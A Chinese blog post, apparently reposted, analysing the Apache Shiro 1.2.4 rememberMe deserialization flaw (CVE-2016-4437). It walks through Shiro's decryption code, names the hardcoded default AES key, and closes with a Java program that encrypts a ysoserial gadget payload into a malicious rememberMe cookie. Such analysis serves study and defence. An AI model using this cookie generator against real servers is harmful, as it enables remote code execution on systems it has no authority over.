深入探究Shrio反序列化漏洞

news2024/11/24 22:41:47

Shrio反序列化漏洞

  • 什么是shrio反序列化漏洞
  • 环境搭建
  • 漏洞判断
  • rememberMe解密流程
  • 代码分析
    • 第一层解密
    • 第二层解密
      • 2.1层解密
      • 2.2层解密
  • exp

什么是shrio反序列化漏洞

Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证、授权、密码和会话管理。使用 Shiro 易于理解的 API,可以快速轻松地对应用程序进行保护

Shiro-550反序列化漏洞(CVE-2016-4437) 漏洞简介 shiro-550主要是由shiro的rememberMe内容反序列化导致的命令执行漏洞,造成的原因是默认加密密钥是硬编码在shiro源码中,任何有权访问源代码的人都可以知道默认加密密钥。 于是攻击者可以创建一个恶意对象,对其进行序列化、编码,然后将其作为cookie的rememberMe字段内容发送,Shiro 将对其解码和反序列化,导致服务器运行一些恶意代码。

环境搭建

我们先去github下载shrio 1.2.4的工程代码,下载链接如下

shrio 1.2.4

然后解压到一个文件夹,并打开shiro-shiro-root-1.2.4/pom.xml文件,并把jstl依赖版本改为1.2

1711202988730.png

然后使用IDEA打开Maven项目,位置选择我们刚才解压的文件夹,最后点击确认

1711203015927.png

然后IDAE会自动下载依赖项,需要等待一段时间,如果感觉下的很慢,或者下载失败的话,可以将Maven的下载源更改为国内的

1711203036535.png

下载完成后我们编辑下运行配置,设置为Tomcat本地服务器运行,然后JRE选择我们Java8版本的

1711203068871.png

然后点击部署,工件选择samples-web:war

1711203087252.png

最后点击运行即可,出现下面界面即代表配置成功

1711203104257.png

漏洞判断

访问url/samples_web_war/login.jsp,并登陆抓包
1711203120903.png

抓包完成后,我们回到网页退出下登陆,然后在repeater界面重放下,可以看到remenberme 字段,代表可能存在shrio反序列化漏洞
1711203153748.png
当发现cookie中带有rememberMe字段时,就会触发getRememberedPrincipals方法

该方法路径为 org\apache\shiro\mgt\AbstractRememberMeManager.java 390行 getRememberedPrincipals

rememberMe解密流程

1711203194323.png

1711203218898.png

在shiro进行反序列化前会经过三层解密,如上图所示

1.getRememberedSerializedIdentity(subjectContext) //base64解密
2.convertBytesToPrincipals(bytes, subjectContext) //密钥aes解密&反序列化解密
    2.1 decrypt(bytes) 密钥解密
    2.2 deserialize(bytes)反序列化解密

接下来便对这三层解密进行分析

代码分析

第一层解密

在我们Cookie中传入代码如下rememberMe字段后会先调用getRememberedPrincipals方法对其处理,其中参数subjectContext便是我们传入的rememberMe字段

我们看下该方法的代码

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
        if (bytes != null && bytes.length > 0) {
            principals = convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException re) {
        principals = onRememberedPrincipalFailure(re, subjectContext);
    }

    return principals;
}

代码中的subjectContext属性便为rememberMe字段的值,我们发现对其调用了getRememberedSerializedIdentity方法,跟进查看该方法代码如下

    protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                        "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                        "immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }
            return null;
        }

        WebSubjectContext wsc = (WebSubjectContext) subjectContext;
        if (isIdentityRemoved(wsc)) {
            return null;
        }

        HttpServletRequest request = WebUtils.getHttpRequest(wsc);
        HttpServletResponse response = WebUtils.getHttpResponse(wsc);

        String base64 = getCookie().readValue(request, response);
        // Browsers do not always remove cookies immediately (SHIRO-183)
        // ignore cookies that are scheduled for removal
        if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

        if (base64 != null) {
            base64 = ensurePadding(base64);
            if (log.isTraceEnabled()) {
                log.trace("Acquired Base64 encoded identity [" + base64 + "]");
            }
            byte[] decoded = Base64.decode(base64);       //关键代码
            if (log.isTraceEnabled()) {
                log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
            }
            return decoded;
        } else {
            //no cookie set - new site visitor?
            return null;
        }
    }

我们看到这句代码byte[] decoded = Base64.decode(base64);,对我们rememberMe字段进行base64解密,然后执行代码return decoded;,返回解密结果

第二层解密

然后回到PrincipalCollection方法,调用第二个解密,也就是调用convertBytesToPrincipals方法对刚才base64解密的结果进行解密

principals = convertBytesToPrincipals(bytes, subjectContext);

我们查看下convertBytesToPrincipals方法,代码如下

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

2.1层解密

首先会对传入的bytes执行函数decrypt(bytes),进行默认的密钥解码

我们看下decrypt函数的代码

    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }

发现是通过这行代码解密的ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());

但是前提得满足if (cipherService != null)

cipherService属性的值是通过代码CipherService cipherService = getCipherService();获取的,我们查看下该方法

    public CipherService getCipherService() {
        return cipherService;
    }

该方法会把属性cipherService的值给该函数中属性cipherService

并且进入if语句后是调用getDecryptionCipherKey()方法获取的密钥进行解密

那现在有两个问题

  1. 属性cipherService的值如何获得呢?
  2. getDecryptionCipherKey()方法又是如何获取的密钥进行解密的呢?

先不着急,我们再看下getDecryptionCipherKey()方法的代码

    public byte[] getDecryptionCipherKey() {
        return decryptionCipherKey;
    }

可以看到这里会返回全局变量decryptionCipherKey,我们对它查看用法,查看是如何赋值的,用法代码如下

   public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
        this.decryptionCipherKey = decryptionCipherKey;
    }

我们发现调用setDecryptionCipherKey方法会对decryptionCipherKey属性进行赋值,我们再对该方法进行查看用法,查看哪里调用了setDecryptionCipherKey方法对其赋值

我们来到了setCipherKey方法,发现调用这个方法可以对其赋值,进行逐步调用上面的那些函数从而赋值decryptionCipherKey属性

    public void setCipherKey(byte[] cipherKey) {
        //Since this method should only be used in symmetric ciphers
        //(where the enc and dec keys are the same), set it on both:
        setEncryptionCipherKey(cipherKey);
        setDecryptionCipherKey(cipherKey);
    }

那我们看下是哪里调用了setCipherKey方法,通过查看用法我们来到了AbstractRememberMeManager类构造方法

在构造方法当中便可以回答我们上面的两个问题

    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService(); //赋值cipherService
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);  //赋值密钥decryptionCipherKey
    }

我们看下默认的秘钥DEFAULT_CIPHER_KEY_BYTES的定义,发现其为一个固定的全局属性,只有在shrio 1.2.4当中,密钥才是固定的,在更高版本中则为随机的

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

接下来便调用decrypt方法中的以下代码进行秘钥解密

        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;

2.2层解密

在进行秘钥解密后,便会return解密结果,然后回到convertBytesToPrincipals方法,对其结果调用方法deserialize(bytes),进行最后一步反序列化解密,反序列化漏洞便出现在deserialize方法代码里面

我们查看下deserialize方法代码的代码

   protected PrincipalCollection deserialize(byte[] serializedIdentity) {
        return getSerializer().deserialize(serializedIdentity);
    }

可以看到deserialize方法会继续调用getSerializer().deserialize方法处理刚才的秘钥解密数据,

我们先看下getSerializer()方法是怎么定义的,右键查看定义,代码如下

    public Serializer<PrincipalCollection> getSerializer() {
        return serializer;
    }

可以看到返回了全局变量serializer,我们看下该属性的定义,再次来到了构造方法

    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

发现serializer属性被赋值为了DefaultSerializer对象,也就是说getSerializer().deserialize实际上是调用了DefaultSerializer对象中的deserialize方法,我们查看其代码

    public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
            ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            @SuppressWarnings({"unchecked"})
            T deserialized = (T) ois.readObject();
            ois.close();
            return deserialized;
        } catch (Exception e) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, e);
        }
    }
}

然后便会调用代码T deserialized = (T) ois.readObject();,对我们传入的payload经过3层解密后进行反序列化,然后代码执行

exp

我们使用那条cc链还需要根据具体的java版本以及相关的库版本相关,加密生成rememberMe字段的脚本如下

paylod.txt中存放我们用yso生成的cc链字节码

package org.vulhub.shirodemo;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.io.FileWriter;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("./cs"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));//key可使用脚本爆破

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
        try (FileWriter fileWriter = new FileWriter("./paylod.txt")) {
            fileWriter.append(ciphertext.toString());
        }
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1561764.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

neo4j使用详解(七、cypher数学函数语法——最全参考)

Neo4j系列导航&#xff1a; neo4j及简单实践 cypher语法基础 cypher插入语法 cypher插入语法 cypher查询语法 cypher通用语法 cypher函数语法 5.数学函数 5.1.数值函数 数学函数仅对数字表达式进行运算&#xff0c;如果对任何其他值使用&#xff0c;将返回错误 abs()&#xf…

CentOs7.9中修改Mysql8.0.28默认的3306端口防止被端口扫描入侵

若你的服务器被入侵&#xff0c;可以从这些地方找到证据&#xff1a; 若有上述信息&#xff0c;300%是被入侵了&#xff0c;重装服务器系统以后再重装Mysql数据库&#xff0c;除了设置一个复杂的密码以外&#xff0c;还需要修改默认的Mysql访问端口&#xff0c;逃避常规端口扫描…

超图打开不同格式的dem文件

dem&#xff0c;数字高程模型&#xff1b; dem文件的后缀是什么? 有*.dem格式的&#xff0c;也有Raster&#xff0c;ASCII和Tiff类型的。Raster类型的是一个raster文件夹里面有很多不同格式的文件共同组成了DEM文件的内容。ASCII类型的是个txt文件。Tiff类型的也是一个文件夹…

江大白 | 深入浅出,Batch Size对神经网络训练的影响

本文来源公众号“江大白”&#xff0c;仅用于学术分享&#xff0c;侵权删&#xff0c;干货满满。 原文链接&#xff1a;深入浅出&#xff0c;Batch Size对神经网络训练的影响 以下文章来源于微信公众号&#xff1a;机器学习初学者 作者&#xff1a;机器学习初学者 链接&…

ESP32学习---ESP-NOW

ESP32学习---ESP-NOW 基于Arduino IDE环境获取mac地址单播通讯一对多通讯多对一通讯多对多通讯模块1代码模块2模块3 广播通讯 基于ESP-IDF框架 乐鑫编程指南中关于ESP-NOW的介绍&#xff1a;https://docs.espressif.com/projects/esp-idf/zh_CN/v5.2.1/esp32/api-reference/net…

05 | Swoole 源码分析之 WebSocket 模块

首发原文链接&#xff1a;Swoole 源码分析之 WebSocket 模块 大家好&#xff0c;我是码农先森。 引言 WebSocket 是一种在单个 TCP 连接上进行全双工通信的协议。它允许客户端和服务器之间进行实时数据传输。 与传统的 HTTP 请求-响应模型不同&#xff0c;WebSocket 可以保持…

免费开源的 AI 绘图工具 ImgPilot

免费开源的 AI 绘图工具 ImgPilot 分类 开源分享 项目名: ImgPilot -- 通过提示词及涂鸦生成图片 Github 开源地址&#xff1a; GitHub - leptonai/imgpilot: Turn the draft into amazing artwork with the power of Real-Time Latent Consistency Model 在线地址&#xff…

Gparted工具 初始化磁盘

Gparted工具 初始化磁盘 1、安装 没有此工具请先安装&#xff1a; yum install epel-release yum install gparted yum install yum-utils git gnome-common gcc-c yum-builddep gparted 2、打开Gparted工具&#xff0c;初始化磁盘 使用具有root权限的普通用户打开gparted&…

day_2FreeRTOS使用PWM+ADC光敏电阻完成光控灯实验

主要代码&#xff1a; int adc_val0;//保存ADC采集到的数值 float volt0;//保存电压值HAL_TIM_PWM_Start(&htim3,TIM_CHANNEL_3);//打开定时器的PWM通道3 TIM3->CCR30;//改变CCR的值&#xff0c;范围0——999&#xff0c;不能超过ARRwhile (1){ HAL_ADC_Start(&had…

Redis中的复制功能(一)

复制 概述 在Redis中&#xff0c;用户可以通过执行SLAVEOF命令或者设置slaveof选项&#xff0c;让一个服务器去复制(replicate)另一个服务器&#xff0c;我们称呼被复制的服务器为主服务器(master)&#xff0c;而对主服务器进行复制的服务器则被称为从服务器(slave),如图所示…

【御控物联】JavaScript JSON结构转换(8):数组To数组——多层属性重组

文章目录 一、JSON结构转换是什么&#xff1f;二、案例之《JSON数组 To JSON数组》三、代码实现四、在线转换工具五、技术资料 一、JSON结构转换是什么&#xff1f; JSON结构转换指的是将一个JSON对象或JSON数组按照一定规则进行重组、筛选、映射或转换&#xff0c;生成新的JS…

win10企业评估版转正式版

一、winr 输入 C:\Windows\System32\spp\tokens\skus 二、下载 Windows 10 Enterprise LTSC 2021 的 SKU 蓝奏云地址 https://wwl.lanzoue.com/irkKV1th7s0d 下载好后解压 解压密码&#xff1a;www.cnkker.com 解压好后全部复制到 C:\Windows\System32\spp\tokens\skus 目录…

安装和使用Miniconda来管理Python环境

安装和使用Miniconda来管理Python环境 一、Miniconda简介二、Miniconda的安装 1. 下载2. 安装三、Miniconda的配置四、Miniconda的使用 1. Conda相关2. 环境管理3. 包管理 一、Miniconda简介 Miniconda是一个免费的最小化Python环境管理工具(精简版Anaconda)&#xff0c;只包…

多图详细教你注册Google(Gmail)新账号,常见问题和注意事项

对于做外贸&#xff0c;或者需要和外国客户、朋友沟通的小伙伴来说&#xff0c;一个Google账号&#xff08;也就是Gmail账号&#xff0c;下述统一用Google账号来表述&#xff09;是非常必要的&#xff0c;一方面是通过Gmail邮箱收发邮件、沟通往来&#xff0c;另一个方面是很多…

redis集群配置(精华版):分片集群模式

分片集群模式 概念动手实操1、环境准备2、配置文件配置3、启动所有redis4、创建集群5、测试集群读/写 概念 ​ Redis 分片集群是一种用于横向扩展 Redis 数据库的方法&#xff0c;它将数据分散存储在多个 Redis 节点中&#xff0c;从而提高了系统的吞吐量和容量。在 Redis 分片…

报错:AttributeError: module ‘numpy‘ has no attribute ‘unit8‘解决

错误问题&#xff1a; 解决方法&#xff1a; 哥们姐们仔细一点吧这个unit8是打错了&#xff0c;无非就是uint8写成了unit8 应该是【uint8】&#xff0c;以后敲代码仔细点哦

Google Chrome将某个页签静音,不是网站

Google Chrome将某个页签静音&#xff0c;不是网站 打开chrome://flags/在里面搜索&#xff0c;audio&#xff0c;找到Tab audio muting UI contorl的选项&#xff0c;右侧设置为Enable。重新启动浏览器。 发现有声音的浏览器页签有一个喇叭图标&#xff0c;点击一下就行了。

It takes two (搜索)

本题链接&#xff1a;登录—专业IT笔试面试备考平台_牛客网 题目&#xff1a; 样例&#xff1a; 输入 3 4 AAAO AAAA AAAA 输出 NO 思路&#xff1a; 根据题目意思&#xff0c;如果存在的 A 联通不可以成为 矩形&#xff0c;输出 NO&#xff0c;否则输出 YES 这道题看数据范…

java线程(一)--进程,多线程,synchronized和lock锁,JUC,JUnit

Java线程入门 单核CPU和多核CPU的理解 单核CPU&#xff0c;其实是一种假的多线程&#xff0c;因为在一个时间单元内&#xff0c;也只能执行一个线程的任务。例如&#xff1a;虽然有多车道&#xff0c;但是收费站只有一个工作人员在收费&#xff0c;只有收了费才能通过&#xf…

hive之full outer join(全连接)使用

文章目录 前言语法 :总结 前言 full outer join结合了 LEFT JOIN 和 RIGHT JOIN 的结果&#xff0c;并使用NULL值作为两侧缺失匹配结果。 语法 : SELECT table1.column_name(s),table2.column_name(s) FROM table1 FULL OUTER JOIN table2 ON table1.column_name table2.c…